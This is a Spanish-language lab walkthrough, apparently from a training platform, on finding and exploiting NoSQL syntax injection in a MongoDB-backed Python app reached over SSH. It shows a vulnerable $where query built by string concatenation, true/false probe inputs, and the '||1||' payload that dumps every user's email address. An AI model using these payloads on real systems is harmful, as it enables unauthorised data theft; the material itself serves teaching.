Encontrar Inyección de Sintaxis
Ahora que hemos cubierto la inyección de operadores, echaremos un vistazo al ejemplo de inyección de sintaxis. Una aplicación python te permite recibir la dirección de correo electrónico de cualquier usuario que se de. Para usar la aplicación autentifícate vía SSH usando ssh syntax@IP y las credenciales:
- Username:
syntax - Password:
syntax
Una vez autentificado, puedes dar el nombre de usuario como input. Empezaremos poniendo admin:
ssh syntax@10.66.162.204 syntax@10.66.162.204's password: Please provide the username to receive their email:admin admin@nosql.int Connection to 10.66.162.204 closed.
Podemos empezar a comprobar en busca de inyección de sintaxis simplemente añadiendo ', lo que puede resultar en la respuesta de error de abajo:
syntax@10.66.162.204's password: Please provide the username to receive their email:admin' Traceback (most recent call last): File "/home/syntax/script.py", line 17, in <module> for x in mycol.find({"$where": "this.username == '" + username + "'"}): File "/usr/local/lib/python3.6/dist-packages/pymongo/cursor.py", line 1248, in next if len(self.__data) or self._refresh(): File "/usr/local/lib/python3.6/dist-packages/pymongo/cursor.py", line 1165, in _refresh self.__send_message(q) File "/usr/local/lib/python3.6/dist-packages/pymongo/cursor.py", line 1053, in __send_message operation, self._unpack_response, address=self.__address File "/usr/local/lib/python3.6/dist-packages/pymongo/mongo_client.py", line 1272, in _run_operation retryable=isinstance(operation, message._Query), File "/usr/local/lib/python3.6/dist-packages/pymongo/mongo_client.py", line 1371, in _retryable_read return func(session, server, sock_info, read_pref) File "/usr/local/lib/python3.6/dist-packages/pymongo/mongo_client.py", line 1264, in _cmd sock_info, operation, read_preference, self._event_listeners, unpack_res File "/usr/local/lib/python3.6/dist-packages/pymongo/server.py", line 134, in run_operation _check_command_response(first, sock_info.max_wire_version) File "/usr/local/lib/python3.6/dist-packages/pymongo/helpers.py", line 180, in _check_command_response raise OperationFailure(errmsg, code, response, max_wire_version) pymongo.errors.OperationFailure: Failed to call method, full error: {'ok': 0.0, 'errmsg': 'Failed to call method', 'code': 1, 'codeName': 'InternalError'} Connection to 10.66.162.204 closed.
La siguiente linea en el mensaje de error muestra que hay inyección de comandos:
for x in mycol.find({"$where": "this.username == '" + username + "'"}):
Podemos ver que la variable del nombre de usuario está directamente concatenada a la query string y que una función JavaScript se está ejecutando en el comando de búsqueda, permitiéndonos inyectar en la sintaxis. En este caso, tenemos mensajes de verbose de error para darnos indicaciones de que la inyección es posible. Sin embargo, incluso sin mensajes de verbose de error, podemos comprobar la inyección de sintaxis dando una condición true y una false y viendo cómo difiere el output como podemos ver a continuación:
ssh syntax@10.66.162.204 syntax@10.66.162.204's password: Please provide the username to receive their email:admin' && 0 && 'x Connection to 10.66.162.204 closed. ssh syntax@10.66.162.204 syntax@10.66.162.204's password: Please provide the username to receive their email:admin' && 1 && 'x admin@nosql.int Connection to 10.66.162.204 closed.
Explotando la Inyección de Sintaxis
Ahora que hemos confirmado la inyección de sintaxis, podemos usar este punto de inyección para obtener las direcciones de correo. Para hacerlo, queremos asegurarnos de que el statement de testing de la condición siempre de true. Al inyectar en el JavaScript, podemos usar el payload '||1||'. Usémoslo:
ssh syntax@10.66.162.204 syntax@10.66.162.204's password: Please provide the username to receive their email:admin'||1||' admin@nosql.int pcollins@nosql.int jsmith@nosql.int [...] Connection to 10.66.162.204 closed.
La Excepción a la Regla
Es importante apuntar que para que ocurra la inyección de sintaxis, el desarrollador tiene que crear queries JavaScript personalizadas. La misma función podría ser realizada usando las funciones de filtrado preinstaladas donde ['username' : username] devolvería el mismo resultado pero no sería vulnerable a la inyección. Como tal es rara de encontrar, ya que significaría que los desarrolladores no están usando las funciones y filtros incrustados. El ejemplo de arriba es exclusivo de MongoDB. Para otras soluciones NoSQL puede existir pero la sintaxis cambiar á.
